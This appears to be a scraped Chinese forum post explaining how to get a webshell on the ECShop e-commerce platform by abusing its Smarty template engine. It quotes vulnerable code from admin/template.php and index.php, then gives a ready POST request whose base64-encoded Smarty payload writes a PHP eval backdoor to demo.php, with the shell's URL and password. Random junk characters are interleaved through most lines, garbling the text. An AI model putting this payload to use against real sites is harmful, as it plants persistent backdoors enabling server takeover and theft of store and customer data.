首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
/ L' F0 v* K; G, S! ]. i/ v* ]' X
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了/ H, O% J7 V6 v9 R5 w6 Q
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
9 g }6 w7 v0 h h6 k1 ~7 }. tadmin/template.php
+ ^$ H) Z* i- w# a$ ]; W- ~! M2 A1 n. s7 \5 D O5 t4 T* `
1 if ($_REQUEST['act'] == 'update_library') 1 G7 y; ^' f: d* R ~1 V! }
6 P0 V+ B% {. ]: Q$ w2
5 ?, \# l; t4 I' ~ W
0 |* m7 W/ T6 k- a3 { , D# G+ e t( o* R- X2 I
, m; t2 g4 @' Y9 |+ i3 k( e4 check_authz_json('library_manage'); ) t2 P- s4 a0 {+ A, l/ w
% Q6 G* E! C2 I1 Y9 Z7 c5 {
5
* X# J9 F* t8 l
, S3 W: t, \7 ~( }8 I. y6 $html = stripslashes(json_str_iconv($_POST['html'])); + {4 O: m; K3 e
: ]- }6 I5 H! j7 h) e# m. M7 |7
0 u3 @' `1 u# l# S" n, h. P/ q
7 C6 ]/ G# Z; T: G8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
- M2 J8 M2 H! g2 Z8 A0 q5 _; h+ f) I; u+ k
9
7 Q/ g+ E8 o0 f8 u5 c, u8 b
/ s7 N5 ~9 s* E$ A5 ]10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
" y* z4 [0 ?, Y$ X) n9 T& |
f( b V0 K8 L* @9 E11
3 e7 i! w" A0 T# ~/ f! B+ ]0 Y J
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); ' [1 q% m+ K. N" a" Y0 S( C
3 |, n. X4 y+ j6 [
13
, h7 B" W* F; s# F
! o- w7 ~+ V& J& _14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
; A% Z# L! _0 ^' u u7 P2 S$ }. _* E. C
15 { - t! U/ ]* i/ p* \
. l3 G% Z2 U: p- s, F$ G5 M
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
6 f2 ^2 p2 Y$ K! ~- ^4 {$ z
8 }4 l% M% E) H% A* E5 C17 make_json_result('', $_LANG['update_lib_success']);
2 E& _& y5 u; H5 }) @- e) o0 ~3 ~' |8 w+ ^+ ?
18 }
9 l! a/ P) p* Q- Y
a+ _% x3 J) {1 f! `! w19 else
+ O& t) t. U% {) P( B0 P! G. H0 j& L5 X' ~) k
20 {
, W9 B, ]& M. x6 V/ O8 ^6 p T! A( m! D- ]6 G$ z& Q
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
3 o" R [. ^# g5 q4 |3 g/ Y
. S" h% N2 Z* ?3 N+ [22 }
- c; X; p1 F1 l9 ]
% w8 |& h* Z* b4 a23 } 6 M* i2 Y2 n; |- |9 _# c: y3 B/ e( o
4 T0 B9 b3 e9 ]' v2 L! w6 p8 c
那么找个比较方便调用了模板的文件
+ v0 B3 G% Y: oindex.php& t% c, q1 e7 c7 [* O
! T+ ~5 t* @0 a) i% Z( L& m1 if ($act == 'cat_rec') & l& }2 y" w+ y) w" p' g1 q c
+ ~9 P4 h& J0 B# D* P9 m
2
6 t# C" Y8 _" t6 I
2 e# Y) P. A9 @2 G' j4 P/ L3 {
- L. S& `6 u% W4 x7 F# ^/ x) E* ^; I
4 6 `" X, `4 J' w+ [( s- O, i
: X, U/ j4 ~- Y7 T5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
x' |; \# ~" K3 C" S
5 O8 Y7 S- L) n) |3 L9 }6
1 h& I1 I8 U$ e: C' Q2 F
' o( I9 O p! z0 X, n7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
4 E" O' J1 S4 i; W9 y4 t
! D C' |& @% f) x0 Q8
2 ] h# `; Z j9 e9 V% q% ~' M6 L& N! |8 l$ x
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; 3 W4 ?+ G4 s9 W& N6 b4 ]
1 A s- ~- R! L( X: V1 i10
! Z6 k* M5 m( G* x5 ^/ O4 l8 s/ d/ P5 X& k5 H
11 include_once('includes/cls_json.php'); & d! C5 y# A& {3 w6 {$ Q/ B5 }$ z
9 N2 \8 {5 d% {: N1 j
12
: U# R7 t9 v4 z! g, u( \9 p
+ A7 V# _5 z1 V! n" r0 ~% S13 $json = new JSON;
: l/ z2 y0 S* F+ I3 L; @' I$ e
- n) M% L1 ?0 b- s' A14
) e9 |( O# R. e' h+ @- O+ c
1 s) F. T8 x/ D; m K- H15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); + n" R3 W8 l: C$ s4 v) {; @
" | ?6 W8 x% W$ I16
2 \. m) u' {% l+ O( j
7 P4 |5 u$ ]) K( ^$ P17 $children = get_children($cat_id);
& {$ h0 G- h8 o% ~. L& p5 f% S+ y3 B2 ?
18
8 |( O' t n9 Q* v6 }/ I
( d2 K3 m! e! j# i; m19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品 / M2 _6 B; j0 \
- v1 f! f5 l. S0 ^% [20 2 S" Y6 P0 U' N0 U1 w5 `: k ~4 Q
( ^$ a# k L- }4 I21 $smarty->assign('cat_rec_sign', 1); & C+ f$ T# E B9 u. {1 k1 f
+ z* S) k5 g2 P4 K$ Z/ t+ T9 T22 ) E' Q( b' {2 O7 N1 n+ P5 _, m: _
# X5 f. k% `3 x23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best ( T# I4 [, J4 ~9 r' h9 A( ^
# m) f ?3 f) }$ \8 ~24 + M/ X2 E8 x: c* N
' b- J. d, D9 S, e8 s
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
: K3 `) D% W+ N3 r0 p2 D* C0 \" L# |* \+ z" z4 q& |
26 + K& p H8 g7 @: X
: N+ y& v% h- s; p7 {
27 echo $rec_array[$rec_type]; 4 v% }- ]/ F. \! v
; ]$ Z% x8 ~( L4 c/ P4 X6 R- `28
$ A8 L5 n' d/ ]4 O$ h8 x2 }# r0 f! Q- w) U- E G
29 die($json->encode($result));
W, B* c# g2 ?8 R$ x, |9 K% N/ m b/ M) c! e3 ~
30
; o- g2 F" r; X$ }# @4 x9 d! B. a% T; ^1 D% p. \" ?. m# c
31 } ( K; E" m* ~2 x! o* v
" ~) l7 x0 D& ~/ Y+ G4 r+ E2 w$ X那么就有利用方法了, [. T1 m- `: ^" c6 q
post包到http://localhost/ec/admin/template.php?act=update_library" i) [" _/ ^" g1 V" S; F
Post内容:& E8 k, r, Q+ f4 m
& \+ g0 W; l9 c3 _7 A* D
9 ]' ?, P1 j+ J& z& G1 y( E
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} , P- x# v6 \* b9 E% I
8 o/ F9 _, _8 P: n8 ~9 c然后访问http://localhost/ec/index.php?act=cat_rec$ e6 Q2 \4 x, |, F' i, Y/ U- R
5 ~9 _; n: g8 V9 ^4 |. @( ^! D
shel地址:http://localhost/ec/demo.php& I& R: P( s, i( J1 C
密码c
5 [* _) d! T* Y+ Q
{$ O# U y$ R) C& r0 h$ K |